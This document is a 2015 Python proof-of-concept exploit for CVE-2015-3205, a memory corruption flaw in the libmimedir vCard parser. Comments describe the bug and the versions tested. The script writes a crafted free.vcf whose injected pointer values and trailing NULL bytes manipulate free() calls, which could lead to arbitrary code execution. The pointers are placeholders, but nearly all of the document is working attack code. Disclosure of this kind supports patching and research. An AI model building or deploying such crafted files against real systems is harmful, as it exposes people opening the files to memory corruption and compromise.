Libmimedir VCF Memory Corruption Proof Of Concept

`#!/usr/bin/python  
# libmimedir-free.py  
#  
# Libmimedir VCF Memory Corruption PoC (CVE-2015-3205)  
#  
# Jeremy Brown [jbrown3264/gmail]  
# June 2015  
#  
# -Synopsis-  
#  
# Adding two NULL bytes to the end of a VCF file allows a user to manipulate free() calls  
# which occur during it's lexer's memory clean-up procedure. This could lead to exploitable  
# conditions such as crafting a specific memory chunk to allow for arbitrary code execution.  
#  
# -Tested-  
#  
# libmimedir-0.5.1.tar.gz  
# libmimedir-static 0.4-13.fc21  
#  
# -Notes-  
#  
# Reported to Red Hat Bugzilla in May (1222251) and remains unfixed as of now. There's already  
# a stale bug (1049214) to upgrade to latest upstream and there wasn't a movement to work on a  
# fix with this one. yy_get_next_buffer() in dirlex.c would likely take the patch.  
#  
  
from struct import pack  
  
def main():  
mime = "begin:vcard<x\nx;type=x;type=x,"  
mime += pack("<Q", 0x4141414141414141) # mdm->p  
mime += pack("<Q", 0x4242424242424242) # mdm->next  
mime += ":x>x.l:x"  
mime += pack("<H", 0x0000) # 2 x YY_END_OF_BUFFER_CHAR  
  
print("Writing free.vcf to local directory...")  
  
try:  
with open("free.vcf", 'wb') as outfile:  
outfile.write(mime)  
  
except Exception as error:  
print("Error: %s\n" % error);  
return  
  
print("Done\n")  
  
return  
  
if __name__ == "__main__":  
main()  
`